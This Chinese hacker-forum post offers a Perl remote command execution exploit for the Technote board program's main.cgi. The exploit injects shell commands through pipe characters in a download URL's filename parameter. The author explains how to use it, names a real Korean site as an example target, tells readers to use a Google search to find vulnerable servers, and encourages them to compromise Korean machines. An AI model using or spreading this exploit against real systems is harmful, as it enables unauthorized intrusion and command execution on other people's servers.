文章作者:无敌最寂寞[E.S.T]
信息来源:邪恶八进制 中国(
www.EvilOctal.com)
technote是韩国某公司出品的一个论坛程序,在韩国的使用率挺高。。可惜它却有个”小小”
的漏洞,允许我们远程以web权限执行任意命令。。。HOHO,具体漏洞描述可以去
http://www.nsfocus.net查找。。。我就不多说了。。。
程序源代码如下,用perl写的。。。懒得用c写。。有兴趣的朋友可以给改改。。。呵呵,用c里wininet的函数来处理也是非常容易的。。。
不要小看这个漏洞,去google搜索如下关键字:
/technote/main.cgi
你会找到很多肉鸡。。。。嘎嘎。。。
复制内容到剪贴板
代码:
#!usr/bin/perl
use LWP::UserAgent;
my $suburl='shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt||';
my $ua=new LWP::UserAgent;
print "*" x 70,"\n";
print "\t\t","technote main.cgi remote execution exploit POC","\n";
print "\t\t "," written by 无敌最寂寞[E.S.T]","\n";
print "*" x 70,"\n\n";
print "NOTICE:press CTRL+C to terminate this program!\n\n";
print "please Enter the target URL:";
my $url=<STDIN>;
chomp($url);
my $r=$url;
print "please Enter main.cgi path(default is technote/main.cgi/):";
my $cgi=<STDIN>;
if($cgi ne "\n")
{
chomp($cgi);
}
else
{$cgi='technote/main.cgi/';}
$url.=$cgi.$suburl;
while(1)
{
print "\nPlease Enter your command:";
my $command=<STDIN>;
chomp($command);
my $temp='|'.$command.'|';
$url=~s/\|(.*)\|/$temp/;
print "the url to submit is $url\n";
my $request=new HTTP::Request('GET'=>$url);
$request->header('Referer'=>$r);
my $res=$ua->request($request);
if($res->is_success){
print "+" x 60,"\n";
print $res->content;
print "+"x 60,"\n";
}
else{
print("Error:".$res->status_line."\n");
}
}有点乱,没办法,我是一边看漏洞一边写的程序。。写完了。。也就没再改。。。懂perl的朋友给提高提高吧。。。呵呵
程序利用过程如下图:

需要说明的是:在URL那部分你必须输入类似:
http://www.sarm.co.kr/
后面要有一个“/",别给漏了。。。因为我没费那劲去处理那些没有“/"的url。。
另外在输入main.cgi的路径的时候也要注意。输入类似下面的:
technote/main.cgi/
不要有前导"/"而且后面也要跟个“/",如果是默认路径(即technote/main.cgi/)可以直接回车,不必输入。。。
程序只是一个proof of concept,需要添加其它功能的朋友可以随意修改代码。。但请保留原始出处信息。。。谢谢。。。。
放开了去找韩国肉鸡吧。。。(当然其它国也有。。。哈哈)
下面是代码下载: